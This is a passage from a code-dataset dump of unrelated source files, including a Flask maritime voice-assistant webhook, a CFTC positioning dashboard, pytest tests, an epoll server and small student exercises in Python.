> 0) else [] if(\n len(points1) == 0 and len(points2) == 0) else points2 if(\n len(points1) == 0 and len(points2) > 0) else points1 if(\n len(points1) > 0 and len(points2) == 0) else print(\"Elementos vacios\")\n\nfor point in points:\n x1, y1 = point[0], point[1]\n x2, y2 = point[0] + template1.shape[1], point[1] + template1.shape[0]\n cv2.rectangle(image, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\ncv2.putText(image, str(len(points)), (95, 35), 1, 3, (0, 255, 0), 2)\ncv2.imshow(\"Image\", image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"cardCorazon.py","file_name":"cardCorazon.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70427020","text":"# SPDX-License-Identifier: MIT\n\nimport os\nimport subprocess\nimport sys\nimport sysconfig\n\nimport pytest\n\nimport build.env\n\n\ndef test_isolated_environment_setup(mocker):\n old_path = os.environ['PATH']\n with build.env.IsolatedEnvironment() as env:\n if os.name != 'nt':\n assert os.environ['PATH'] == os.pathsep.join([os.path.join(env.path, 'bin'), old_path])\n assert os.environ['PYTHONHOME'] == env.path\n\n python_path = os.environ['PYTHONPATH'].split(os.pathsep)\n for path in ('purelib', 'platlib'):\n assert sysconfig.get_path(path) not in python_path\n assert sysconfig.get_path(\n path,\n vars={\n 'base': env.path,\n 'platbase': env.path,\n }\n ) in python_path\n\n copy_path = [\n sysconfig.get_path('include'),\n sysconfig.get_path('platinclude'),\n ]\n libpl = sysconfig.get_config_var('LIBPL')\n if libpl is None:\n if os.name != 'nt':\n # if sys.version_info[0] == 2:\n # assert sys.subversion[0] == 'PyPy' # not available in Windows CPython 3\n # else:\n assert sys.implementation.name == 'pypy' # Python 3 only\n else:\n copy_path.append(libpl)\n\n prefix = sysconfig.get_config_var('prefix')\n assert prefix is not None\n\n for path in copy_path:\n assert path is not None\n if path.startswith(prefix):\n relative_path = path[len(prefix + os.pathsep):]\n path = os.path.join(env._path, relative_path)\n assert os.path.exists(path)\n\n\ndef test_isolated_environment_install(mocker):\n with build.env.IsolatedEnvironment() as env:\n mocker.patch('subprocess.check_call')\n\n env.install([])\n subprocess.check_call.assert_not_called()\n\n env.install(['some', 'requirements'])\n if sys.version_info[:2] != (3, 5):\n subprocess.check_call.assert_called()\n args = subprocess.check_call.call_args[0][0]\n assert args[:7] == [\n sys.executable, '-m', 'pip', 'install', '--prefix', env._path, '-r'\n ]\n\n\ndef test_uninitialised_isolated_environment():\n env = build.env.IsolatedEnvironment()\n\n with pytest.raises(RuntimeError):\n env.path\n","sub_path":"tests/test_env.py","file_name":"test_env.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"591391618","text":"from __future__ import print_function, division, absolute_import\n\nimport glob\nimport pytest\nimport py.path\n\nfrom psautohint.autohint import ACOptions, hintFiles\n\nfrom .differ import main as differ\nfrom . import DATA_DIR\n\n\nclass Options(ACOptions):\n\n def __init__(self, reference, inpaths, outpaths):\n super(Options, self).__init__()\n self.inputPaths = inpaths\n self.outputPaths = outpaths\n self.reference_font = reference\n self.hintAll = True\n self.verbose = False\n\n\n@pytest.mark.parametrize(\"base\", glob.glob(\"%s/*/*Masters\" % DATA_DIR))\ndef test_mmufo(base, tmpdir):\n paths = sorted(glob.glob(base + \"/*.ufo\"))\n # the reference font is modified in-place, make a temp copy first\n referenceSrc = py.path.local(paths[0])\n referenceDst = tmpdir / referenceSrc.basename\n referenceSrc.copy(referenceDst)\n reference = str(referenceDst)\n inpaths = paths[1:]\n outpaths = [str(tmpdir / p) for p in inpaths]\n\n options = Options(reference, inpaths, outpaths)\n hintFiles(options)\n\n for inpath, outpath in zip(inpaths, outpaths):\n assert differ([inpath, outpath])\n","sub_path":"tests/integration/test_mmhint.py","file_name":"test_mmhint.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"257373845","text":"# -*- coding: utf-8 -*-\n\nfrom flask import Flask, request\nimport json\nfrom datetime import datetime\nimport condition_climat\nfrom horairesMarees import *\nfrom HauteurEau import HauteurEau\nimport math\n\napp = Flask(__name__)\n\n\ndef response_body(fullfillment_text, display_text):\n return {\n \"fulfillmentText\": fullfillment_text,\n \"displayText\": display_text,\n \"source\": \"hackathon2020\"\n }\n\n\ndef hour_intent():\n msg = \"il est {} heure\".format(str(datetime.now()))\n return response_body(msg, msg)\n\ndef pleine_mer_intent(ville):\n msg = \"la mer sera pleine a {}\".format(getMaree(ville,\"11/10/2020\",\"pm\"))\n msg = msg + \" et le coefficient sera de {}.\".format(getCoef(ville,\"11/10/2020\"))\n return response_body(msg, msg)\n\ndef meteo_marine_intent(ville):\n msg = condition_climat.getMeteoMarine(ville)\n \n # msg = \"Bulletin côte 'La Hague – Penmarc'h' matin Prévisions pour la journée du samedi 10 octobre VENT : Nord-Ouest 4 à 5, fraichissant 5 à 6 en Manche l'après-midi. MER : agitée. HOULE : Ouest à Nord-Ouest 2 m sur pointe Bretagne. TEMPS : Ciel nuageux. VISIBILITE : Bonne.\"\n \n return response_body(msg, msg)\n\ndef etat_mer_intent():\n msg = \"La mer va être agitée, avec un vent contre-courant, sans doute plus calme côté sud.\"\n return response_body(msg, msg)\n\ndef hauteur_eau_intent(latitude,longitude):\n \n waterHeightInterrogator = HauteurEau()\n date = datetime.utcnow()\n \n data = waterHeightInterrogator.calculerHauteurDeau(latitude, longitude, date)\n \n print(data)\n \n hauteur = data.get(\"hauteur\", 3)\n hauteur *= 10\n hauteur = math.ceil(hauteur)\n hauteur = hauteur / 10.\n \n duree = data[\"duree\"]\n \n amplitude = data[\"amplitude\"]\n amplitude *= 10\n amplitude = math.ceil(amplitude)\n amplitude = amplitude / 10.\n \n msg = \"actuellement à votre position il y a {} m au-dessus du zéro. Cela va monter encore durant {} heures, de {} m. Voulez-vous un conseil pour le mouillage ?\".format(hauteur,duree,amplitude)\n \n print(msg)\n \n return response_body(msg, msg)\n\ndef declaration_dauphins_intent():\n msg = \"très bien, je reporte cette observation aux organismes intéressés.\"\n return response_body(msg, msg)\n\ndef default_intent():\n msg = \"Je n'ai pas compris la question.\"\n return response_body(msg, msg)\n\ndef localisation_intent():\n return {\n \"systemIntent\": {\n \"intent\": \"actions.intent.PERMISSION\",\n \"data\": {\n \"@type\": \"type.googleapis.com/google.actions.v2.PermissionValueSpec\"\n }\n }\n }\n\n@app.route(\"/thales_hackathon_2020\", methods=[\"GET\", \"POST\"])\ndef entry_api():\n myreq = json.loads(request.data)\n if myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"heure\":\n return hour_intent()\n elif myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"Meteo marine\":\n try:\n ville = myreq[\"queryResult\"][\"parameters\"][\"location\"][\"city\"]\n except TypeError:\n ville = \"Brest\"\n return meteo_marine_intent(ville)\n elif myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"Pleine mer\":\n try:\n ville = myreq[\"queryResult\"][\"parameters\"][\"location\"][\"city\"]\n except TypeError:\n ville = \"Brest\"\n return pleine_mer_intent(ville)\n elif myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"Hauteur eau\":\n latitude = 47.44\n longitude = 4.4\n \n return hauteur_eau_intent(latitude,longitude)\n elif myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"Etat mer\":\n return etat_mer_intent()\n elif myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"Declaration dauphins\":\n return declaration_dauphins_intent()\n elif myreq[\"queryResult\"][\"intent\"][\"displayName\"] == \"Localisation\":\n return localisation_intent()\n \nif __name__ == \"__main__\":\n app.run(port=8456)\n","sub_path":"hackathon_2020/main_entry.py","file_name":"main_entry.py","file_ext":"py","file_size_in_byte":3928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388702891","text":"import datetime\nimport urllib.request, shutil\nimport math\nimport yaml\nimport os\nimport pandas as pd\nimport dash_bootstrap_components as dbc\nimport plotly.graph_objects as go\n\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom dash.dependencies import Input, Output, State\nfrom plotly.subplots import make_subplots\nfrom .server import app\nfrom zipfile import ZipFile\n\n\nnum_of_entries = 0\n\nthree_years_ago = datetime.now() - relativedelta(years=3)\none_year_ago = datetime.now() - relativedelta(years=1)\nthree_months_ago = datetime.now() - relativedelta(months=3)\nsix_months_ago = datetime.now() - relativedelta(months=6)\n\nextract_zip_files = True\n\ndef sortOnTime(val):\n return val[1]\n\ndef get_list_of_i_and_date_for_metric(expected_row_names, num_of_entries, date_list, name_list):\n the_list = []\n for expected_row_name in expected_row_names:\n for i in range(0, num_of_entries):\n row_name = name_list[i]\n if row_name == expected_row_name:\n the_list.append((i, date_list[i]))\n the_list.sort(key=sortOnTime)\n return the_list\n\ndef get_latest_i(list_of_i_and_date, end_date=datetime.now()):\n latest_i = list_of_i_and_date[-1][0]\n for i, date in reversed(list_of_i_and_date):\n if date < end_date:\n latest_i = i\n break\n return latest_i\n\ndef get_second_latest_i(list_of_i_and_date, latest_i):\n previous_i = 0\n second_latest_i = 0\n for i, date in list_of_i_and_date:\n if i == latest_i:\n second_latest_i = previous_i\n else:\n previous_i = i\n return second_latest_i\n\ndef get_x_year_min_max(list_of_i_and_date, begin_date, values):\n minimum = float('inf')\n maximum = float('-inf')\n for i, date in list_of_i_and_date:\n if date > begin_date:\n current = values[i]\n if current < minimum:\n minimum = current\n if current > maximum:\n maximum = current\n return minimum, maximum\n\ndef calculate_x_year_avg(list_of_i_and_date, begin_date, values, end_date=datetime.now()):\n x_year_avg = 0\n entry_count = 0\n for i, date in list_of_i_and_date:\n if date >= begin_date and date <= end_date:\n x_year_avg += values[i]\n entry_count += 1\n if entry_count != 0:\n x_year_avg /= entry_count\n return x_year_avg\n\ndef calculate_z_score(list_of_i_and_date, begin_date, values, end_date=datetime.now()):\n z_score = 0\n entry_count = 0\n latest_i = get_latest_i(list_of_i_and_date, end_date)\n latest = values[latest_i]\n\n x_year_avg = calculate_x_year_avg(list_of_i_and_date, begin_date, values, end_date)\n for i, date in list_of_i_and_date:\n if date >= begin_date and date <= end_date:\n z_score += pow((values[i] - x_year_avg), 2)\n entry_count += 1\n\n if entry_count != 0:\n z_score /= entry_count\n z_score = math.sqrt(z_score)\n if z_score != 0:\n z_score = (latest - x_year_avg) / z_score\n return z_score\n\ndef get_list_of_z_scores(list_of_i_and_date, year_count, values):\n the_list = []\n for i in range(0, 156):\n begin_date = datetime.now() - relativedelta(years=year_count, weeks=i)\n end_date = datetime.now() - relativedelta(weeks=i)\n the_list.append(calculate_z_score(list_of_i_and_date, begin_date, values, end_date))\n return the_list\n\ndef get_list_of_net_positioning(list_of_i_and_date, begin_date, values):\n the_list = []\n for i, date in list_of_i_and_date:\n if date > begin_date:\n current = values[i]\n the_list.append(current)\n return the_list\n\ndef get_cot_zip_file(url, file_name):\n with urllib.request.urlopen(url) as response, open(file_name, 'wb') as out_file:\n shutil.copyfileobj(response, out_file)\n\ndef getLists():\n NAME = \"Market_and_Exchange_Names\"\n DATE = \"Report_Date_as_MM_DD_YYYY\"\n INTEREST = \"Open_Interest_All\"\n NON_COMM_LONG = \"NonComm_Positions_Long_All\"\n NON_COMM_SHORT = \"NonComm_Positions_Short_All\"\n COMM_LONG = \"Comm_Positions_Long_All\"\n COMM_SHORT = \"Comm_Positions_Short_All\"\n\n name_list = []\n date_list = []\n interest_list = []\n non_comm_long_list = []\n non_comm_short_list = []\n comm_long_list = []\n comm_short_list = []\n\n DATA_DIR = \"dash_project/cftc_data\"\n if not os.path.exists(DATA_DIR):\n os.makedirs(DATA_DIR)\n\n years = [2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021]\n for year in years:\n file = f'{DATA_DIR}/{year}.zip'\n get_cot_zip_file(f'https://www.cftc.gov/files/dea/history/dea_com_xls_{year}.zip', file)\n\n data_files = os.listdir(DATA_DIR)\n for data_file in data_files:\n if '.zip' in data_file:\n data_file_name = data_file[:-4]\n if extract_zip_files:\n with ZipFile(f\"{DATA_DIR}/{data_file}\", 'r') as f:\n listOfFileNames = f.namelist()\n fileName = listOfFileNames[0]\n f.extractall(\"dash_project/tmp\")\n os.replace(f\"dash_project/tmp/{fileName}\", f\"dash_project/tmp/{data_file_name}.xls\")\n\n xl = pd.ExcelFile(f\"dash_project/tmp/{data_file_name}.xls\")\n df = pd.read_excel(xl, usecols=[NAME, DATE, INTEREST, NON_COMM_LONG, NON_COMM_SHORT, COMM_LONG, COMM_SHORT])\n name_list += list(df[NAME])\n date_list += list(df[DATE])\n interest_list += list(df[INTEREST])\n non_comm_long_list += list(df[NON_COMM_LONG])\n non_comm_short_list += list(df[NON_COMM_SHORT])\n comm_long_list += list(df[COMM_LONG])\n comm_short_list += list(df[COMM_SHORT])\n return name_list, date_list, interest_list, non_comm_long_list, non_comm_short_list, comm_long_list, comm_short_list\n\ndef get_values(list_of_i_and_date, list_long, list_short=None):\n latest_i = get_latest_i(list_of_i_and_date)\n second_latest_i = get_second_latest_i(list_of_i_and_date, latest_i)\n if list_short is not None:\n diff = [(a-b) for a,b in zip(list_long,list_short)]\n else:\n diff = list_long\n latest = diff[latest_i]\n second_latest = diff[second_latest_i]\n ww_change = latest - second_latest\n minimum, maximum = get_x_year_min_max(list_of_i_and_date, three_years_ago, diff)\n three_month_avg = calculate_x_year_avg(list_of_i_and_date, three_months_ago, diff)\n six_month_avg = calculate_x_year_avg(list_of_i_and_date, six_months_ago, diff)\n one_year_avg = calculate_x_year_avg(list_of_i_and_date, one_year_ago, diff)\n three_year_avg = calculate_x_year_avg(list_of_i_and_date, three_years_ago, diff)\n z_score_one_year = calculate_z_score(list_of_i_and_date, one_year_ago, diff)\n z_score_three_years = calculate_z_score(list_of_i_and_date, three_years_ago, diff)\n return latest_i, second_latest_i, latest, second_latest, ww_change, minimum, maximum, three_month_avg, six_month_avg, one_year_avg, three_year_avg, z_score_one_year, z_score_three_years\n\ndef get_CFTC_Dataframe(name_list, date_list, long_list, short_list):\n num_of_entries = len(name_list)\n cwd = os.getcwd()\n with open(\"dash_project/metrics.yaml\", 'r') as yf:\n metrics = yaml.safe_load(yf)\n cftc_df = pd.DataFrame()\n for asset_class in metrics:\n for metric in metrics[asset_class]:\n list_of_i_and_date = get_list_of_i_and_date_for_metric(metrics[asset_class][metric], num_of_entries, date_list, name_list)\n latest_i, second_latest_i, latest, second_latest, ww_change, minimum, maximum, three_month_avg, six_month_avg, one_year_avg, three_year_avg, z_score_one_year, z_score_three_years = get_values(list_of_i_and_date, long_list, short_list)\n\n cftc_df[metric] = [metric, latest, ww_change, three_month_avg, six_month_avg, one_year_avg, three_year_avg,\n maximum, minimum, z_score_one_year, z_score_three_years]\n cftc_df = cftc_df.T\n cftc_df.columns = ['metric', 'latest', 'w/w change', '3m ave', '6m ave', '1y ave','3y ave', '3y max', '3y min', '1y zscore', '3y zscore']\n for column in cftc_df.iloc[:, 1:]:\n cftc_df[column] = cftc_df[column].astype(float)\n return cftc_df.round(2), cftc_df.index, num_of_entries\n\n\nname_list, date_list, interest_list, non_comm_long_list, non_comm_short_list, comm_long_list, comm_short_list = getLists()\ncftc_df_non_comm, cftc_metrics_non_comm, n_entries_non_comm = get_CFTC_Dataframe(name_list, date_list, non_comm_long_list, non_comm_short_list)\ncftc_df_comm, cftc_metrics_comm, n_entries_comm = get_CFTC_Dataframe(name_list, date_list, comm_long_list, comm_short_list)\n\n\n@app.callback(\n Output('cftc_datatable_non_comm', 'children'),\n [Input('cftc_submit_df', 'n_clicks')],\n [State('cftc_input_df', 'value')]\n)\ndef get_CFTC_df_selection(n_clicks, MULTP_ASSETS):\n return dbc.Table.from_dataframe(\n cftc_df_non_comm.loc[MULTP_ASSETS, :],\n bordered=True)\n\n@app.callback(\n Output('cftc_datatable_comm', 'children'),\n [Input('cftc_submit_df', 'n_clicks')],\n [State('cftc_input_df', 'value')]\n)\ndef get_CFTC_df_selection(n_clicks, MULTP_ASSETS):\n return dbc.Table.from_dataframe(\n cftc_df_comm.loc[MULTP_ASSETS, :],\n bordered=True)\n\n@app.callback(\n Output('cftc_graph', 'figure'),\n [Input('cftc_submit', 'n_clicks')],\n [State('cftc_input', 'value')]\n)\ndef create_z_score_plot(n_clicks, TICKER):\n num_of_entries = len(name_list)\n weeks = []\n for i in range(0,156):\n weeks.append(datetime.now() - relativedelta(weeks=i))\n weeks.reverse()\n cwd = os.getcwd()\n with open(\"dash_project/metrics.yaml\", 'r') as yf:\n metrics = yaml.safe_load(yf)\n\n for asset_class in metrics:\n for metric in metrics[asset_class]:\n if metric == TICKER:\n list_of_i_and_date = get_list_of_i_and_date_for_metric(metrics[asset_class][metric], num_of_entries, date_list, name_list)\n\n diff_non_comm = [(a - b) for a, b in zip(non_comm_long_list, non_comm_short_list)]\n z_score_list_one_year_non_comm = get_list_of_z_scores(list_of_i_and_date, 1, diff_non_comm)\n z_score_list_three_year_non_comm = get_list_of_z_scores(list_of_i_and_date, 3, diff_non_comm)\n z_score_list_one_year_non_comm.reverse()\n z_score_list_three_year_non_comm.reverse()\n\n diff_comm = [(a - b) for a, b in zip(comm_long_list, comm_short_list)]\n z_score_list_one_year_comm = get_list_of_z_scores(list_of_i_and_date, 1, diff_comm)\n z_score_list_three_year_comm = get_list_of_z_scores(list_of_i_and_date, 3, diff_comm)\n z_score_list_one_year_comm.reverse()\n z_score_list_three_year_comm.reverse()\n\n z_score_list_one_year_open_interest = get_list_of_z_scores(list_of_i_and_date, 1, interest_list)\n z_score_list_three_year_open_interest = get_list_of_z_scores(list_of_i_and_date, 3, interest_list)\n z_score_list_one_year_open_interest.reverse()\n z_score_list_three_year_open_interest.reverse()\n\n non_comm_net_positioning_list = get_list_of_net_positioning(list_of_i_and_date, three_years_ago, diff_non_comm)\n comm_net_positioning_list = get_list_of_net_positioning(list_of_i_and_date, three_years_ago, diff_comm)\n net_open_interest_list = get_list_of_net_positioning(list_of_i_and_date, three_years_ago, interest_list)\n\n fig = make_subplots(rows=3, cols=2,\n subplot_titles=(\"Z-scores non_comm\",\n \"Z-scores comm\",\n \"Net positioning non_comm\",\n \"Net positioning Comm\",\n \"Z-scores open interest,\",\n \"Open interest\"))\n\n fig.add_trace(go.Scatter(x=weeks, y=z_score_list_one_year_non_comm, name='1y (non_comm)'),\n row=1, col=1,\n ),\n fig.add_trace(go.Scatter(x=weeks, y=z_score_list_three_year_non_comm, name='3y (non_comm)'),\n row=1, col=1\n )\n\n fig.add_trace(go.Scatter(x=weeks, y=z_score_list_one_year_comm, name='1y (comm)'),\n row=1, col=2,\n ),\n fig.add_trace(go.Scatter(x=weeks, y=z_score_list_three_year_comm, name='3y (comm)'),\n row=1, col=2\n )\n\n fig.add_trace(go.Bar(x=weeks, y=non_comm_net_positioning_list, name=\"Net Pos (non_comm)\"),\n row=2, col=1\n )\n fig.add_trace(go.Bar(x=weeks, y=comm_net_positioning_list, name=\"Net Pos (comm)\"),\n row=2, col=2\n )\n\n fig.add_trace(go.Scatter(x=weeks, y=z_score_list_one_year_open_interest, name='1y (OI)'),\n row=3, col=1,\n ),\n fig.add_trace(go.Scatter(x=weeks, y=z_score_list_three_year_open_interest, name='3y (OI)'),\n row=3, col=1,\n ),\n fig.add_trace(go.Bar(x=weeks, y=net_open_interest_list, name=\"OI\"),\n row=3, col=2\n )\n\n fig.update_xaxes(title_text=\"date\")\n fig.update_yaxes(title_text=\"z_score\", row=1, col=1)\n fig.update_yaxes(title_text=\"z_score\", row=1, col=2)\n fig.update_yaxes(title_text=\"net contracts\", row=2, col=1)\n fig.update_yaxes(title_text=\"net_contracts\", row=2, col=2)\n fig.update_yaxes(title_text=\"z_score\", row=3, col=1)\n fig.update_yaxes(title_text=\"net_contracts\", row=3, col=2)\n\n fig.update_layout(\n width=1200,\n height=1250)\n return fig\n\ndef get_asset_lists():\n with open(\"dash_project/metrics.yaml\", 'r') as yf:\n metrics = yaml.safe_load(yf)\n options = []\n for asset_class in metrics:\n for metric in metrics[asset_class]:\n options.append(metric)\n return options\n\n@app.callback(\n Output('cftc_positioning', 'children'),\n [Input('cftc_submit', 'n_clicks')],\n [State('cftc_input', 'value')]\n)\ndef get_cftc_positioning(n_clicks, TICKER):\n num_of_entries = len(name_list)\n weeks = []\n for i in range(0, 156):\n weeks.append(datetime.now() - relativedelta(weeks=i))\n weeks.reverse()\n cwd = os.getcwd()\n with open(\"dash_project/metrics.yaml\", 'r') as yf:\n metrics = yaml.safe_load(yf)\n\n df = pd.DataFrame()\n done = False\n for asset_class in metrics:\n for metric in metrics[asset_class]:\n if metric == TICKER:\n list_of_i_and_date = get_list_of_i_and_date_for_metric(metrics[asset_class][metric], num_of_entries, date_list, name_list)\n\n investor = 'Open interest'\n latest_i, second_latest_i, latest, second_latest, ww_change, minimum, maximum, three_month_avg, six_month_avg, one_year_avg, three_year_avg, z_score_one_year, z_score_three_years = get_values(list_of_i_and_date, interest_list)\n df[investor] = [investor, latest, ww_change, three_month_avg, six_month_avg, one_year_avg, three_year_avg, maximum, minimum, z_score_one_year, z_score_three_years]\n\n investor = 'Non_commercial'\n latest_i, second_latest_i, latest, second_latest, ww_change, minimum, maximum, three_month_avg, six_month_avg, one_year_avg, three_year_avg, z_score_one_year, z_score_three_years = get_values(list_of_i_and_date, non_comm_long_list, non_comm_short_list)\n df[investor] = [investor, latest, ww_change, three_month_avg, six_month_avg, one_year_avg, three_year_avg, maximum, minimum, z_score_one_year, z_score_three_years]\n\n investor = 'Commercial'\n latest_i, second_latest_i, latest, second_latest, ww_change, minimum, maximum, three_month_avg, six_month_avg, one_year_avg, three_year_avg, z_score_one_year, z_score_three_years = get_values(list_of_i_and_date, comm_long_list, comm_short_list)\n df[investor] = [investor, latest, ww_change, three_month_avg, six_month_avg, one_year_avg, three_year_avg, maximum, minimum, z_score_one_year, z_score_three_years]\n done = True\n break\n if done:\n break\n\n df = df.T\n df.columns = ['class', 'latest', 'w/w change', '3m ave', '6m ave', '1y ave', '3y ave', '3y max', '3y min', '1y zscore', '3y zscore']\n for column in df.iloc[:, 1:]:\n df[column] = df[column].astype(float)\n return dbc.Table.from_dataframe(\n df.round(2), bordered=True)\n\n\n","sub_path":"dash_project/cftc_analyser.py","file_name":"cftc_analyser.py","file_ext":"py","file_size_in_byte":16333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"636438500","text":"#Program - Enter a point that is\n#in a sphere of a chosen radius\n#and find the magnetic field on it\n\nimport math\n\n\nr= float(input(\"Radius:\"))\nri=int(r)\nwhile r>ri:\n ri=ri+1\nx= float(input(\"x-coordinate:\"))\nwhile x>r or x<-r:\n print (\"x-coordinate cannot be larger than radius\")\n x= float(input(\"x-coordinate:\"))\ny= float(input(\"y-coordinate:\"))\nwhile y>r or y<-r:\n print (\"y-coordinate cannot be larger than radius\")\n y= float(input(\"y-coordinate:\"))\nz= float(input(\"z-coordinate:\"))\nwhile z>r or z<-r:\n print (\"z-coordinate cannot be larger than radius\")\n z= float(input(\"z-coordinate:\"))\nrij=math.sqrt(((x)**2)+((y)**2)+((z)**2))\nwhile rij>r:\n print (\"point is outside the circle\")\n x=float(input(\"x-coordinate:\"))\n while x>r or x<-r:\n print (\"x-coordinate cannot be larger than radius\")\n x=float(input(\"x-coordinate:\"))\n y=float(input(\"y-coordinate:\"))\n while y>r or y<-r:\n print (\"y-coordinate cannot be larger than radius\")\n y=float(input(\"y-coordinate:\"))\n z=float(input(\"z-coordinate:\"))\n while z>r or z<-r:\n print (\"z-coordinate cannot be larger than radius\")\n z=float(input(\"z-coordinate:\"))\n rij=math.sqrt(((x)**2)+((y)**2)+((z)**2))\nprint ('Point:(',x,',',y,',',z,')')\n\nwhile x<0:\n x=x*(-1)\nwhile y<0:\n y=y*(-1)\nwhile z<0:\n z=z*(-1)\n\nxone=ri-x\nyone=ri-y\nzone=ri-z\nxtwo=(-1)*(x+ri)\nytwo=(-1)*(y+ri)\nztwo=(-1)*(z+ri)\ntotalx=0\ntotaly=0\ntotalz=0\n\nwhile xone>=xtwo:\n while yone>=ytwo:\n while zone>=ztwo:\n if xone==0 and yone==0 and zone==0:\n zone=zone-1\n else:\n rij=math.sqrt(((xone)**2)+((yone)**2)+((zone)**2))\n rijc=math.sqrt(((x+xone)**2)+((y+yone)**2)+((z+zone)**2))\n if rijc>r:\n zone=zone-1\n else:\n Hx=((3*xone*zone)/((rij)**5))\n Hy=((3*yone*zone)/((rij)**5))\n Hz=(((2*((zone)**2))-((xone)**2)-((yone)**2))/((rij)**5))\n totalx=totalx+Hx\n totaly=totaly+Hy\n totalz=totalz+Hz\n zone=zone-1\n yone=yone-1\n zone=ri+z\n xone=xone-1\n yone=ri+y\n\nH=math.sqrt(((totalx)**2)+((totaly)**2)+((totalz)**2))\nif H<(10**(-15)):\n print (\"total H: 0.0\")\nelse:\n print (\"total H:\",H)\nprint(totalx)\nprint(totaly)\nprint(totalz)\n \n\n\n","sub_path":"PointSphere.py","file_name":"PointSphere.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"363571532","text":"import re\n\n\ndef parse_rule(string) -> dict:\n rem = re.match(r'(.+)bags contain (.+)\\.', string)\n\n if not rem:\n return None\n\n # parse contents\n re_contents = re.findall(r'(\\d+)([^,]+)bag[s]?', rem[2])\n\n rule = {\n 'color': rem[1].strip(),\n 'contains': {}\n }\n\n if re_contents:\n for bag_rule in re_contents:\n rule['contains'][bag_rule[1].strip()] = int(bag_rule[0])\n\n return rule\n\n\ndef bfs(graph, search_color, current_color, path=[]) -> list:\n path.append(current_color)\n\n if current_color == search_color:\n # found a path, return it\n return True\n\n else:\n outgoing_edges = graph[current_color]\n if outgoing_edges:\n sub_path = []\n for outgoing_color in outgoing_edges:\n if bfs(graph, search_color, outgoing_color, path):\n return path\n else:\n # end of the line, return\n return False\n\n return False\n\n\ndef main():\n rules = {}\n search_color = 'shiny gold'\n\n # this builds a digraph\n with open('input.p1', 'r') as f:\n for rule_string in f:\n temp_rule = parse_rule(rule_string)\n rules[temp_rule['color']] = temp_rule['contains']\n\n eventual_contain_count = 0\n\n for color in rules:\n if color != search_color:\n path = []\n if bfs(rules, search_color, color, path):\n print(f'Found: {path}')\n eventual_contain_count += 1\n\n print(f'Found: {eventual_contain_count} possible paths')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"day7/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"51512482","text":"jogo = {}\ntotalGols = 0\n\nwhile True:\n nome = input(\"Digite o nome do jogador: \")\n qtdPartidas = int(input(\"Digite quantas partidas o jogador jogou: \"))\n print()\n\n qtdGols = [int(input(\n f'Quantos gols o jogador fez na {cont+1}° partida? ')) for cont in range(qtdPartidas)]\n print()\n jogo[nome] = qtdGols\n totalGols += sum(qtdGols)\n\n v = 0\n for cont in range(len(qtdGols)):\n v += 1\n print(f'Na {v}° partida o jogador {nome} fez {qtdGols[cont]} gols')\n print()\n if input(\"Deseja cadastrar mais um jogador? \") in \"Nn\":\n break\n else:\n continue\nprint()\nfor key, value in jogo.items():\n print(f\"O jogador {key} fez {totalGols} gols no campeonato.\")","sub_path":"aula 13 19.05/exercicio 2.py","file_name":"exercicio 2.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"494377352","text":"\"\"\"\n基于 epoll 的 IO并发模型\n重点代码 !!\n\"\"\"\n\nfrom socket import *\nfrom select import *\n\n# 创建全局变量\nHOST = \"0.0.0.0\"\nPORT = 8800\nADDR = (HOST, PORT)\n\n# 创建套接字\nsockfd = socket()\nsockfd.bind(ADDR)\nsockfd.listen(5)\n\n# IO多路复用往往与非阻塞IO一起使用,防止传输过程的卡顿\nsockfd.setblocking(False)\n\n# 创建epoll对象\nep = epoll()\n# 关注的IO\nep.register(sockfd, EPOLLIN)\n\n# 建立文件描述符查找对象的字典\nmap = {sockfd.fileno(): sockfd}\n\n# 循环监控关注的IO\nwhile True:\n events = ep.poll() # events--> [(fileno,event),()]\n print(\"你有新的IO需要处理哦\",events)\n # 对监控的套接字就绪情况分情况讨论\n for fd,event in events:\n if fd == sockfd.fileno():\n # 处理客户端连接\n connfd, addr = map[fd].accept()\n print(\"Connect from\", addr)\n # 连接一个客户端就多监控一个\n connfd.setblocking(False)\n # 设置边缘触发:只通知一次,如果未处理则下次再通知\n ep.register(connfd, EPOLLIN|EPOLLET)\n map[connfd.fileno()] = connfd # 维护字典\n # elif event==EPOLLIN:\n # # 某个客户端连接套接字就绪\n # data = map[fd].recv(1024).decode()\n # # 客户端退出\n # if not data:\n # ep.unregister(fd) # 删除监控\n # map[fd].close()\n # del map[fd] # 维护字典删除一项\n # continue\n # print(data)\n # # map[fd].send(b'OK')\n # ep.unregister(fd)\n # ep.register(fd, EPOLLOUT) # 关注写\n # elif event == EPOLLOUT:\n # # 写处理\n # map[fd].send(b\"OK\")\n # ep.unregister(fd) # 先清理之前的\n # ep.register(fd, EPOLLIN) # 重新关注读\n","sub_path":"month02/day17/epoll_server.py","file_name":"epoll_server.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"487095500","text":"# -*- coding: utf-8 -*-\n\nimport sys\n\nimport wx\nfrom 